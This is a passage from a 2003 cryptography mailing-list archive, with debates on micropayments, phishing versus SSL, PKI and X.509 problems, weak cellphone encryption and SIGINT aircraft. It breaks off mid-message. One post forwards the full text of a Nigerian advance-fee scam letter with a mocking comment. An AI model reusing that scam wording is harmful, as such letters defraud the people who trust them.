Subject: Micropayments finally taking off.
In-Reply-To: <3EDE1D78.2422.1B4777E6@localhost>
References: <4.2.2.20030604094322.00d5ed90@mail.earthlink.net>
Message-ID: <3EDE43EB.13360.1BDDA679@localhost>

    --
Over the past ten years there have been many attempts to get a 
micropayment system working, all of which have failed dismally, 
leading to a widespread attitude that internet micropayments 
just do not work, and never will work.

In the past 24 hours, e-gold has done fifty thousand 
micropayments, of which thirty thousand were one milligram of 
gold or under (about one cent or under)   These are non 
anonymous, in that e-gold can link payer to payee, but 
anonymous in that it laborious to link e-gold account numbers 
to true names.

e-gold has no knowledge what they are being used for.  If they 
gathered that much information, it probably would not be 
worthwhile for their customers, but I would guess these are 
mostly per-click-through payments for ads. Some proportion of 
these payments must be e-gold's own referral scheme, but the 
majority have to be other people's schemes, perhaps other 
people's similar schemes.

The fact that e-gold does not know what is going on suggests 
that past attempts to support micropayments failed by putting 
too great a burden on those seeking to participate. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     bXT+Ssbr8YwqxmGU48nKVUNmy/V5W9MrCY8AJ1iu
     4JjvpESYIz/nh/OrZvLSSq8INjokq5UGC2eACxupI


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From jamesd at echeque.com  Wed Jun  4 19:09:31 2003
From: jamesd at echeque.com (James A. Donald)
Date: Wed, 04 Jun 2003 19:09:31 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <kjd6ht8l5j.fsf@romeo.rtfm.com>
References: <3EDE1D79.8791.1B477836@localhost>
Message-ID: <3EDE43EB.29325.1BDDA647@localhost>

    --
James A. Donald
> > > > Or to say the same thing in different words -- why 
> > > > can't HTTPS be more like SSH?    Why are we seeing a 
> > > > snow storm of scam mails trying to get us to login to 
> > > > e-g0ld.com?

Eric Rescorla
> > > Because HTTPS is designed to let you talk to people 
> > > you've never talked before, which is an inherently harder 
> > > problem than allowing you to talk to people you have.

James A. Donald:
> > In attempting to solve the hard problem, it fails to make 
> > provision for solving the easy problem.

Eric Rescorla
> Nonsense. One can simply cache the certificate, exactly as 
> one does with SSH. In fact, Mozilla at least does exactly 
> this if you tell it to. The reason that this is uncommon is 
> because the environments where HTTPS is used are generally 
> spontaneous and therefore certificate caching is less useful.

Certificate caching is not the problem that needs solving.  The 
problem is all this spam attempting to fool people into logging 
in to fake BofA websites and fake e-gold websites, to steal 
their passwords or credit card numbers 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     /UOLlqGTeq9SAB5W/aJJuwULFBNMCVzKJnIRlhES
     48E3I0Yo+68OTvTwztxirTXc41yFVicJtskuBB/dU




From uberd at duluth.navy.mil  Wed Jun  4 19:14:05 2003
From: uberd at duluth.navy.mil (ET2 Uber, D)
Date: Wed, 4 Jun 2003 19:14:05 -0700 
Subject: ASSALAMALEKU
Message-ID: <8B109F5573E24940A0B9D2F76B32B101336836@lpd6ubd01.duluth.navy.mil>

notice that it was defaced, thus as lilith pointed out, a large amount of
cleaning fluid will need to be bought from a Dutch company somewhere...
	-Dan

-----Original Message-----
From: MRS M ABACHA [mailto:muni_jos at yahoo.com.au]
Sent: Thursday, January 03, 1980 4:37 PM
To: cypherpunks at einstein.ssz.com
Subject: CONFIDENTIAL


 ASSALAMALEKU MY DEAR FRIEND I NEED YOUR HELP


          
PLEASE, I am Mrs. Mariam Abacha, the widow of the Late Gen. Sanni Abacha
former Nigerian Military Head of State who died mysteriously as a result of
Cardiac Arrest. Since after my husband's death my family is under
restriction of movement and that not withstanding, we are being molested,
policed and our Bank Account both here and abroad are being frozen by the
Nigerian Civilian Government.

Furthermore, my elder son was arrested and detained though he was released
on probation late last year and was arrested again this year as a result of
some amount of money which have not been recoverd by the nigerian current
government as am writting you now his been haild by the nigerian government
in jail.

Following the recent discovery of my husband's Bank Account by the Nigerian
Government with Swiss Bank in which the huge sum of US$700 MILLION and DM
450 Million was logged. I therefore decided to contact you in confidence
that I was able to move out and deposit to a diplomatic freighting company
the sum of US$45 Million Dollars, which was secretly defaced and is sealed
in two Metal Boxes for security reasons.

I therefore personally, appeal to you seriously and religiously for your
urgent assistance to move this money into your country where I believe it
will be safe since I cannot leave the country due to the restriction of
movement imposed on the members of my family by the Nigerian Government. 

I have agreed to offer you 10% of the total sum while 90% is to be held on
trust by you until we can decide on a suitable business investment in your
country subsequent to our free movement by the Nigerian Government. Please
reply urgently and treat with absolute confidentiality and sincerety. 

Best Regards.
Mrs. M Abacha




From kelsey.j at ix.netcom.com  Wed Jun  4 16:15:13 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Wed, 04 Jun 2003 19:15:13 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <20030603225037.GB20254@comsec.com>
References: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
 <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
 <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
 <kjd6hxzc07.fsf@romeo.rtfm.com>
 <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
 <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
Message-ID: <5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>

At 03:50 PM 6/3/03 -0700, Eric Blossom wrote:
...
>GSM and CDMA phones come with the crypto enabled.  The crypto's good
>enough to keep out your neighbor (unless he's one of us) but if you're
>that paranoid, you should opt for the end-to-end solution.  The CDMA
>stuff (IS-95) is pretty broken: *linear* crypto function, takes 1
>second worst case to gather data sufficient to solve 42 equations in
>42 unknowns, but again, what's your threat model?  Big brother and
>company are going to get you at the base station...

Big brother has a limited budget, just like the rest of us.  If he has to 
produce a warrant or tap a wire somewhere to listen in on me, he probably 
won't bother.

The only thing protecting my cellphone calls right now is trivially-broken 
encryption, the need for some moderately expensive equipment, and some laws 
prohibiting cellphone eavesdropping.  That means that some bad guys may be 
eavesdropping now, and there's no telling how many bad guys will be doing 
so tomorrow.  Nobody here knows how much eavesdropping is being done, 
because communications intercepts can be done without leaving any record 
anywhere.  Do the police in some cities troll for interesting cellphone 
calls?  Does the NSA do that in the US, quietly?  Do Russian or French 
intelligence agencies?  How would we know?

So, what can I do about it, as an individual?  Make the cellphone companies 
build good crypto into their systems?  Any ideas how to do that?

The only way I can see getting decent security on my cellphone is to do 
something that doesn't require the rest of the world's permission or 
assistance.  The simplest version of that is to have a box at my house 
that's connected to two phone lines, and have all calls to and from my 
cellphone go through that box.  Calls to other secure cellphones can be 
encrypted end-to-end.  Calls to everyone else get encrypted between my 
phone and my box at home.  I spend a little extra for extra security, 
nobody else has to pay anything, and I can call friends on my cellphone 
without being susceptible to trivial eavesdropping.

Can the bad guys defeat this?  Sure, they can tap my landline, or bug my 
car, or do all sorts of other things.  But none of those are cheap enough 
to do to everyone, and probably none are cheap enough to do to me.  Tapping 
my landline either means interacting with the phone company, or paying 
someone to go install a tap, each of which implies a risk of getting 
caught, practical limits on how often it can be done, etc.

This also bypasses the "network effect" of encrypting phones, where you get 
approximately zero benefit from having one until they're widespread.  I 
have an old Comsec 3DES phone at home.  It's nice technology.  I think I've 
used it twice.  If you're not a cryptographer or a cocaine smuggler, you 
probably don't know anyone who owns an encrypting phone or would 
particularly want to.  Even if you'd like to improve your own privacy, you 
can't buy an end-to-end encrypting phone and improve it much.  That's what 
I'd like to see change.

...
>Eric

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259



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From rsalz at datapower.com  Wed Jun  4 17:09:01 2003
From: rsalz at datapower.com (Rich Salz)
Date: Wed, 4 Jun 2003 20:09:01 -0400 (EDT)
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDE1D79.8791.1B477836@localhost>
Message-ID: <Pine.LNX.4.44L0.0306042006560.9397-100000@smtp.datapower.com>

> In attempting to solve the hard problem, it fails to make
> provision for solving the easy problem.

That's a deployment issue, not a technical issue.  D-H key exchange, for
example, would be just fine.  It just so happens that the SSL creators had
a particular business goal in mind:  e-commerce, with a "certificate"
re-assuring the nervous customer that they were handing their credit card
to jcrew.com, not, jscrew.com.  Yes, SSL was invented to solve a
particular problem.  They did a reasonable job at it.
	/r$
--
Rich Salz                     Chief Security Architect
DataPower Technology          http://www.datapower.com
XS40 XML Security Gateway     http://www.datapower.com/products/xs40.html




From ekr at rtfm.com  Wed Jun  4 20:37:49 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 04 Jun 2003 20:37:49 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDE43EB.29325.1BDDA647@localhost>
References: <3EDE1D79.8791.1B477836@localhost>
  <3EDE43EB.29325.1BDDA647@localhost>
Message-ID: <kjznkx6voy.fsf@romeo.rtfm.com>

"James A. Donald" <jamesd at echeque.com> writes:
> Eric Rescorla
> > Nonsense. One can simply cache the certificate, exactly as 
> > one does with SSH. In fact, Mozilla at least does exactly 
> > this if you tell it to. The reason that this is uncommon is 
> > because the environments where HTTPS is used are generally 
> > spontaneous and therefore certificate caching is less useful.
> 
> Certificate caching is not the problem that needs solving.  The 
> problem is all this spam attempting to fool people into logging 
> in to fake BofA websites and fake e-gold websites, to steal 
> their passwords or credit card numbers 

The only solutions to that problem involve getting rid of
passwords and credit card numbers. SSL does that job about
as well as we know how.

-Ekr


-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From lynn at garlic.com  Wed Jun  4 19:58:47 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Wed, 04 Jun 2003 20:58:47 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDE1D78.2422.1B4777E6@localhost>
References: <4.2.2.20030604094322.00d5ed90@mail.earthlink.net>
  <008701c32a88$cde93f00$c71121c2@exchange.sharpuk.co.uk>
Message-ID: <4.2.2.20030604174233.00cace00@mail.earthlink.net>

At 04:25 PM 6/4/2003 -0700, James A. Donald wrote:
>     --
>Everyone in America has several shared secrets identifying them
>-- the number of the beast to identify them to the state, and
>their credit card numbers identifying them to various financial
>institutions, plus a hundred passwords to  login to their
>email, their bank, their network provider, e-gold, etc.
>
>The PKI idea was that we would instead use PK in place of
>shared secrets, but if an ordinary person had a private key,
>what could he use it for?
>
>The spam that seeks to get us to login to e-g0ld and the
>BankOf4merica.com works because the logins are based on shared
>secrets, not private keys, and the networks are setup to rely
>on shared secrets because there is no practical alternative.

one could claim that public-key is a practical alternative but it got 
significantly sidetracked with independent business model that wanted 
extract huge amount of money out of existing infrastructures (say totally 
brand new independent operations wanting $100/annum for every person, 
extracted from the existing infrastructure for no significant positive 
benefit ... aka say 200m people at @$100/annum is $20b/annum ... in return 
for some abstract bit vapor that doesn't change any core business issue).

it is relatively trivial to demonstrate that public keys can be registered 
in every business process that currently registers shared-secrets (pins, 
passwords, radius, kerberos, etc, etc).  the issue then becomes one of cost 
to change/upgrade those infrastructures to support digital signature 
authentication with the stored public keys in lieu of string comparison (no 
new business operations, no new significant transfer of wealth to brand new 
outside business entities, etc).

however, think about even these simple economics for a minute .... even for 
relatively modest technology changes that don't change any of the business 
processes/relationships ... it still costs some money ... and the 
beneficiary isn't the institution, it is the individual. The individual has 
the paradigm changed from hundreds of shared-secrets to a single key-pair 
... however each institution continues to see just as many individuals and 
account records. From a very practical standpoint ... entities don't 
frequently fund things that they don't benefit from ... and typically most 
success is achieved when the entity that benefits from the change is also 
driving/funding the change.

the issue is to find out how the individual pays for the change .... or 
figure out how the institutions are going to benefit.
--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm




From pgut001 at cs.auckland.ac.nz  Wed Jun  4 08:24:44 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 5 Jun 2003 03:24:44 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306041524.h54FOiq07112@medusa01.cs.auckland.ac.nz>

Eric Murray <ericm at lne.com> writes:

>Too often people see something like Peter's statement above and say "oh, it's
>that nasty ASN.1 in X.509 that is the problem, so we'll just do it in XML
>instead and then it'll work fine" which is simply not true. The formatting of
>the certificates is such a minor issue that it is lost in the noise of the
>real problems.  And Peter publishes a fine tool for printing ASN.1, so the
>"human readable" argument is moot.
>
>Note that there isn't a real running global PKI using SPKI or PGP either.

A debate topic I've thought of occasionally in the last year or two: If
digital signatures had never been invented, would we now be happily using
passwords, SecurIDs, challenge-response tokens, etc etc to do whatever we need
rather than having spent the last 20-odd years fruitlessly chasing the PKI
dream?  There was some interesting work being done on non-PKI solutions to
problems in the 1970s before it all got drowned out by PKI, but most of it
seems to have stagnated since then outside a few niche areas like wholesale
banking, where it seems to work reasonably well.

(Hmm, now *that* would make an interesting panel session for the next RSA
 conference).

Peter.




From mv at cdc.gov  Thu Jun  5 08:56:10 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Thu, 05 Jun 2003 08:56:10 -0700
Subject: 1st amend applies to video games
Message-ID: <3EDF681A.17CFC2A1@cdc.gov>

A federal appeals court panel has struck down a law that restricted
children's access to
    violent video games, giving the software the same free-speech
protection as that for
    works of art.

    A panel of the 8th Circuit Court of Appeals ruled Tuesday that a St.
Louis County, Mo.,
    ordinance that bans the rentals or sales of graphically violent
video games to minors violates
    free-speech rights. In doing so, the panel reversed a ruling by the
U.S. District Court for the
    Eastern District of Missouri and ordered the lower court to craft an
injunction that would
    prohibit the ordinance from taking effect.

    In Tuesday's ruling, the panel decided that if the paintings of
Jackson Pollock, the music of
    Arnold Schoenberg and the Jabberwocky verse of Lewis Carroll are
protected by the First
    Amendment, then video games should be, too.
http://news.com.com/2100-1043_3-1012882.html?tag=lh




From adam at homeport.org  Thu Jun  5 09:15:22 2003
From: adam at homeport.org (Adam Shostack)
Date: Thu, 5 Jun 2003 12:15:22 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>
References: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
  <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
  <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
  <kjd6hxzc07.fsf@romeo.rtfm.com>
  <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
  <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
  <5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>
Message-ID: <20030605161522.GA50390@lightship.internal.homeport.org>

On Wed, Jun 04, 2003 at 07:15:13PM -0400, John Kelsey wrote:
| At 03:50 PM 6/3/03 -0700, Eric Blossom wrote:
| ...
| >GSM and CDMA phones come with the crypto enabled.  The crypto's good
| >enough to keep out your neighbor (unless he's one of us) but if you're
| >that paranoid, you should opt for the end-to-end solution.  The CDMA
| >stuff (IS-95) is pretty broken: *linear* crypto function, takes 1
| >second worst case to gather data sufficient to solve 42 equations in
| >42 unknowns, but again, what's your threat model?  Big brother and
| >company are going to get you at the base station...
| 
| Big brother has a limited budget, just like the rest of us.  If he has to 
| produce a warrant or tap a wire somewhere to listen in on me, he probably 
| won't bother.
| 
| The only thing protecting my cellphone calls right now is trivially-broken 
| encryption, the need for some moderately expensive equipment, and some laws 
| prohibiting cellphone eavesdropping.  That means that some bad guys may be 
| eavesdropping now, and there's no telling how many bad guys will be doing 
| so tomorrow.  Nobody here knows how much eavesdropping is being done, 

More bad guys will be listening tomorow, because SDR and Moore's law
will drive down the cost.  At some point, we'll hit a knee in the
curve, and cell phones will be either made more secure, or we'll live
with the fact that all our calls are being listened to, much like the
Brits are always on video.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From moeller at cdc.informatik.tu-darmstadt.de  Thu Jun  5 03:49:40 2003
From: moeller at cdc.informatik.tu-darmstadt.de (Bodo Moeller)
Date: Thu, 5 Jun 2003 12:49:40 +0200
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306051011.h55ABjv21031@medusa01.cs.auckland.ac.nz>;
  from pgut001@cs.auckland.ac.nz on Thu, Jun 05, 2003 at 10:11:45PM
  +1200
References: <200306051011.h55ABjv21031@medusa01.cs.auckland.ac.nz>
Message-ID: <20030605124940.A16963@cdc.informatik.tu-darmstadt.de>

On Thu, Jun 05, 2003 at 10:11:45PM +1200, Peter Gutmann wrote:
> Bodo Moeller <moeller at cdc.informatik.tu-darmstadt.de> writes:

>> Using an explicit state machine helps to get code suitable for multiplexing
>> within a single thread various connections using non-blocking I/O.

> Is there some specific advantage here, or is it an academic exercise?
> [...]                   I have a vague idea from discussions with some
> OpenSSL-engine developers that they had some requirement for supporting async
> hardware in non-threaded environments, [...]                             the
> discussions tended to devolve into griping sessions about how hard async
> crypto hardware was to work with, not helped by comments like "That's because
> you're taking the path of most resistance, just use threads" :-).

I don't mind working with threads, but there's a lot of software out
there that uses single-threaded multiplexing, and adding SSL/TLS to
such software becomes much easier if the SSL/TLS library supports this
multiplexing paradigm.  (Not that it would be impossible otherwise --
another option, for Unix anway, is to fork off a processes that
handles a SSL/TLS connection and communicates with the main process
via a pipe.)


-- 
Bodo Mvller <moeller at cdc.informatik.tu-darmstadt.de>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. +49-6151-16-6628, Fax +49-6151-16-6036




From ekr at rtfm.com  Thu Jun  5 17:57:18 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 05 Jun 2003 17:57:18 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <sjmisrkoxmp.fsf@kikki.mit.edu>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
  <20030604074048.A13661@slack.lne.com> <sjmisrkoxmp.fsf@kikki.mit.edu>
Message-ID: <kjr868m39t.fsf@romeo.rtfm.com>

Derek Atkins <derek at ihtfp.com> writes:

> Eric Murray <ericm at lne.com> writes:
> 
> > Too often people see something like Peter's statement above and say
> > "oh, it's that nasty ASN.1 in X.509 that is the problem, so we'll just
> > do it in XML instead and then it'll work fine" which is simply not true.
> > The formatting of the certificates is such a minor issue that it is lost
> > in the noise of the real problems.  And Peter publishes a fine tool
> > for printing ASN.1, so the "human readable" argument is moot.
> 
> Actually, the ASN.1 part is a major factor in the X.509
> interoperability problems.  Different cert vendors include different
> extensions, or different encodings.  They put different information
> into different parts of the certificate (or indeed the same
> information into different parts).  Does the FQDN for a server cert
> belong in the DN or some extension?  What about the email address for
> a user cert?
This isn't really true in the SSL case:
To a first order, everyone ignores any extensions (except sometimes
the constraints) and uses the CN for the DNS name of the server.

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From derek at ihtfp.com  Thu Jun  5 17:30:54 2003
From: derek at ihtfp.com (Derek Atkins)
Date: 05 Jun 2003 20:30:54 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <20030604074048.A13661@slack.lne.com>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
	<20030604074048.A13661@slack.lne.com>
Message-ID: <sjmisrkoxmp.fsf@kikki.mit.edu>

Eric Murray <ericm at lne.com> writes:

> Too often people see something like Peter's statement above and say
> "oh, it's that nasty ASN.1 in X.509 that is the problem, so we'll just
> do it in XML instead and then it'll work fine" which is simply not true.
> The formatting of the certificates is such a minor issue that it is lost
> in the noise of the real problems.  And Peter publishes a fine tool
> for printing ASN.1, so the "human readable" argument is moot.

Actually, the ASN.1 part is a major factor in the X.509
interoperability problems.  Different cert vendors include different
extensions, or different encodings.  They put different information
into different parts of the certificate (or indeed the same
information into different parts).  Does the FQDN for a server cert
belong in the DN or some extension?  What about the email address for
a user cert?

> Note that there isn't a real running global PKI using SPKI
> or PGP either.

That's a different problem (namely that the "big guys" like RSA
Security, Microsoft, and Verisign don't sell PGP-enabled software or
PGP certificates).  PGP's problem is an integration problem, making
it easy to use for non-techies.  That has been the barrier to entry
for PGP.

> The largest problem with X.509 is that various market/political forces
> have allowed Verisign to dominate the cert market and charge way too
> much for them.  There is software operable by non-cryptographers that
> will generate reasonable cert reqs (it's not standard Openssl) but
> individuals and corporations alike balk at paying $300-700 for each cert.
> (yes I know about the free "individual" certs, the failure of
> S/MIME is a topic for another rant).

This is only part of the problem... It is not all of it.  Indeed the
cost (both in money, time, and headache) has always been a barrier to
entry.  I don't believe that market or political forces are the largest
problem with X.509....  I will certainly agree that the cost is a
major impediment.

The question is:  how do we convince M$ and Netscape to include something
else in their software?  If it's not supported in IE, then it wont be
available to the vast majority of users out there.

-derek

-- 
       Derek Atkins
       Computer and Internet Security Consultant
       derek at ihtfp.com             www.ihtfp.com

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From derek at ihtfp.com  Thu Jun  5 17:54:21 2003
From: derek at ihtfp.com (Derek Atkins)
Date: 05 Jun 2003 20:54:21 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <kjr868m39t.fsf@romeo.rtfm.com>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
	<20030604074048.A13661@slack.lne.com> <sjmisrkoxmp.fsf@kikki.mit.edu>
	<kjr868m39t.fsf@romeo.rtfm.com>
Message-ID: <sjmwug0nhz6.fsf@kikki.mit.edu>

Eric Rescorla <ekr at rtfm.com> writes:

> This isn't really true in the SSL case:
> To a first order, everyone ignores any extensions (except sometimes
> the constraints) and uses the CN for the DNS name of the server.

Except some CAs make certs that can only work as an SSL server and not
an SSL client, or don't work with certain verifiers, or can't be
parsed right, or have the "commit-bit" set on some extensions.  It's
been a major pain in a problem that I'm working on -- not all vendor's
certs work properly.

> -Ekr

-derek

-- 
       Derek Atkins
       Computer and Internet Security Consultant
       derek at ihtfp.com             www.ihtfp.com

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From pgut001 at cs.auckland.ac.nz  Thu Jun  5 03:11:45 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 5 Jun 2003 22:11:45 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306051011.h55ABjv21031@medusa01.cs.auckland.ac.nz>

Bodo Moeller <moeller at cdc.informatik.tu-darmstadt.de> writes:

>Using an explicit state machine helps to get code suitable for multiplexing
>within a single thread various connections using non-blocking I/O.

Is there some specific advantage here, or is it an academic exercise?  Some
quirk of supporting certain types of hardware like nCipher boxes that do async
crypto/scatter-gather?  I have a vague idea from discussions with some
OpenSSL-engine developers that they had some requirement for supporting async
hardware in non-threaded environments, but from hearing the complaints about
how hard this ended up being I had the impression that this was a major
rewrite rather than something the state-machine implementation had been
specifically designed for (sorry, I don't have that much technical info, the
discussions tended to devolve into griping sessions about how hard async
crypto hardware was to work with, not helped by comments like "That's because
you're taking the path of most resistance, just use threads" :-).

I also don't know if that explains why, years before this was an issue,
everyone was already treating SSL as a state machine problem.

Peter.

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From frantz at pwpconsult.com  Thu Jun  5 23:26:18 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Thu, 5 Jun 2003 23:26:18 -0700
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <5.2.0.9.0.20030605233500.02688bf0@incoming.verizon.net>
References: <BAY7-F53YCT4aJ6pkNz00015c18@hotmail.com>
Message-ID: <v03110705bb05e4155e35@[192.168.1.5]>

At 8:52 PM -0700 6/5/03, Randy wrote:
>And if any of the copper is carrying digital data, square waves are hugely
>rich in harmonics well up into the
>MHz bands, and would therefore tend to radiate better from any above-ground
>wires between poles, possibly
>even roadside pedestals.

Note that the copper in your Cat 5 Ethernet cable is treated as a
transmission line.  It is correctly terminated at both ends, so there is
very little RF radiation.  If there were a lot of RF, it would interfere
with things like TV, cell phones etc.

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA




From randy at gte.net  Thu Jun  5 20:52:14 2003
From: randy at gte.net (Randy)
Date: Thu, 05 Jun 2003 23:52:14 -0400
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <BAY7-F53YCT4aJ6pkNz00015c18@hotmail.com>
Message-ID: <5.2.0.9.0.20030605233500.02688bf0@incoming.verizon.net>

I recall a few years back, a single satellite lost stability, and it pretty 
much wiped out everyone's pagers, for
a few days. Just my way of saying that I don't have any clue as to how much 
point-to-point traffic may get
relayed by a bird at some point. I seem to recall that, years ago, the 
Transatlantic copper traffic entering and
leaving the US was shot via microwave link to/from the US terminus, over a 
bay, and allegedly there was a NSA
farmhouse on the line-of-site path of the link. The implication being that, 
yes, they "could" have just wired
around the bay, but instead there was an intentional opportunity for 
interception.

And I'll point out that long-haul comms to submarines are done with RF 
basically at audio frequencies, via
buried antennas....yeah, they DO use very high power, but aircraft are 
close and don't have salt-water and
thick earth to penetrate.

And if any of the copper is carrying digital data, square waves are hugely 
rich in harmonics well up into the
MHz bands, and would therefore tend to radiate better from any above-ground 
wires between poles, possibly
even roadside pedestals.

And I've seen alot of RF off of traditional CATV coax; don't know if 
fiber-optic cable systems might ultimately
have any tie-in to the coaxial feed to/from the headend.

Randy

At 09:13 PM 6/3/03 -0400, you wrote:
>Tim May wrote...
>
>"Landline signals are vastly harder to pick up, and I doubt strongly that 
>every minorly-radiating landline signal is being picked up."
>
>Of course, optical signals could never be remotely detected by air or even 
>without an optical tap. I doubt even aerial optical cable readiates enough 
>or in such a way as to be remotely detectable.
>
>However, the vast majority of "last mile" installations are still copper, 
>and copper does radiate. But I can't see how that could be detected by air 
>either. Even if there's enough radiation, it's going to get scattered and 
>diffracted to hell and gone as it passes through the sheath, concrete, and 
>then air.
>
>ANd of course, there's the bandwidth issue. In even a medium sized metro 
>area the sheer number of landlines will be huge, and any businesses will 
>be shipping out their traffic via T1 or fractional T1. Hence, one of those 
>airplanes would practically need a small CO to demultiplex all that 
>traffic (although even off-the-shelf silicon has come a LONG way from the 
>5ESS days, so the size factor will not be something to sneeze at).
>
>Nah. Any such AWAC-type recon 'surveys' must be seeking out targeted 
>information somehow. Perhaps there's some kind of electronic 'red dye' 
>that allow a specific set of users' calls to stand out? Is it possible 
>that 'interesting' landlines are dropped-and-continued on to some 
>narrowcasting point for air? This might be their way of getting around the 
>TIRKS and provisioning issues related to moving those lines a long 
>distance, and possibly through multiple carriers (but then again, that 
>just might be what DISAs' recently announced GIG-BE network is supposed to 
>solve!)
>
>-TD
>
>
>
>
>>From: Tim May <timcmay at got.net>
>>To: daw at mozart.cs.berkeley.edu (David Wagner)
>>CC: cypherpunks at lne.com
>>Subject: SIGINT planes vs. radioisotope mapping
>>Date: Tue, 3 Jun 2003 17:28:09 -0700
>>
>>On Tuesday, June 3, 2003, at 09:10  PM, David Wagner wrote:
>>
>>>Sampo Syreeni  wrote:
>>>>Rather it's the fact that the Big
>>>>Brother doesn't have the necessary total funds, and so doesn't listen into
>>>>a considerable proportion of calls as a whole.
>>>
>>>Yet.
>>>
>>>As far as we know.
>>>
>>>:-)
>>>
>>>I agree it's an economic issue, and law enforcement doesn't seem to
>>>listen in on a considerable proportion of calls as a whole at the moment.
>>>But what happens to costs in the future?  Remember, it takes 10 years
>>>to get any change to the cellphone/telecommunications infrastructure
>>>deployed, so it pays to think ahead.
>>>
>>>By the way, what's the story with those SIGINT planes supposedly
>>>advertised as being able to fly over a city and capture communications
>>>from the whole metropolitan area?  John Young had a pointer on his web
>>>site at one point.  Do you suppose they might snarf up all the cellphone
>>>traffic they can find, en masse?  What proportion of calls would that be,
>>>as a fraction of the whole?  One wonders whether your confidence in the
>>>security of cellphone traffic is well-founded.
>>
>>AWACS-type planes have long had the ability to act as "cell towers," so 
>>cell traffic is easily picked-up, if in fact they are doing this. 
>>Landline signals are vastly harder to pick up, and I doubt strongly that 
>>every minorly-radiating landline signal is being picked up.
>>
>>Perhaps for very, very targetted signals, but not cruising over general 
>>cities, it seems likely to me.
>>
>>I'm not sure of the context here, but in the past year there were some 
>>reports of planes circling over university campuses, and many were 
>>hypothesizing that SIGINT was being done on telephone and computer 
>>messages. This seemed unlikely to me.
>>
>>I concluded--and posted on Usenet about my thinking--that some campuses 
>>may have been targeted for low-level gamma ray surveys. Kind of a gamma 
>>ray version of Shipley's "war driving" maps. Possibly for construction of 
>>baseline maps of existing radioisotopes in university labs, hospitals, 
>>and private facilities. Then deviations from baseline maps could be 
>>identified and inspected in more detail with ground-based vans and black 
>>bag ops.
>>
>>--Tim May
>>"That the said Constitution shall never be construed to authorize 
>>Congress to infringe the just liberty of the press or the rights of 
>>conscience; or to prevent the people of the United States who are 
>>peaceable citizens from keeping their own arms." --Samuel Adams
>
>_________________________________________________________________
>The new MSN 8: advanced junk mail protection and 2 months FREE*
>http://join.msn.com/?page=features/junkmail




From die at die.com  Thu Jun  5 22:41:29 2003
From: die at die.com (Dave Emery)
Date: Fri, 6 Jun 2003 01:41:29 -0400
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <5.2.0.9.0.20030605233500.02688bf0@incoming.verizon.net>
References: <BAY7-F53YCT4aJ6pkNz00015c18@hotmail.com>
  <5.2.0.9.0.20030605233500.02688bf0@incoming.verizon.net>
Message-ID: <20030606054129.GB3068@pig.die.com>

On Thu, Jun 05, 2003 at 11:52:14PM -0400, Randy wrote:
> I recall a few years back, a single satellite lost stability, and it pretty 
> much wiped out everyone's pagers, for
> a few days. Just my way of saying that I don't have any clue as to how much 
> point-to-point traffic may get
> relayed by a bird at some point.

	Within the continental US, very very little point to point
telephone traffic flows via satellite (hardly any in fact except a few
remaining private systems for companies and government - carriers
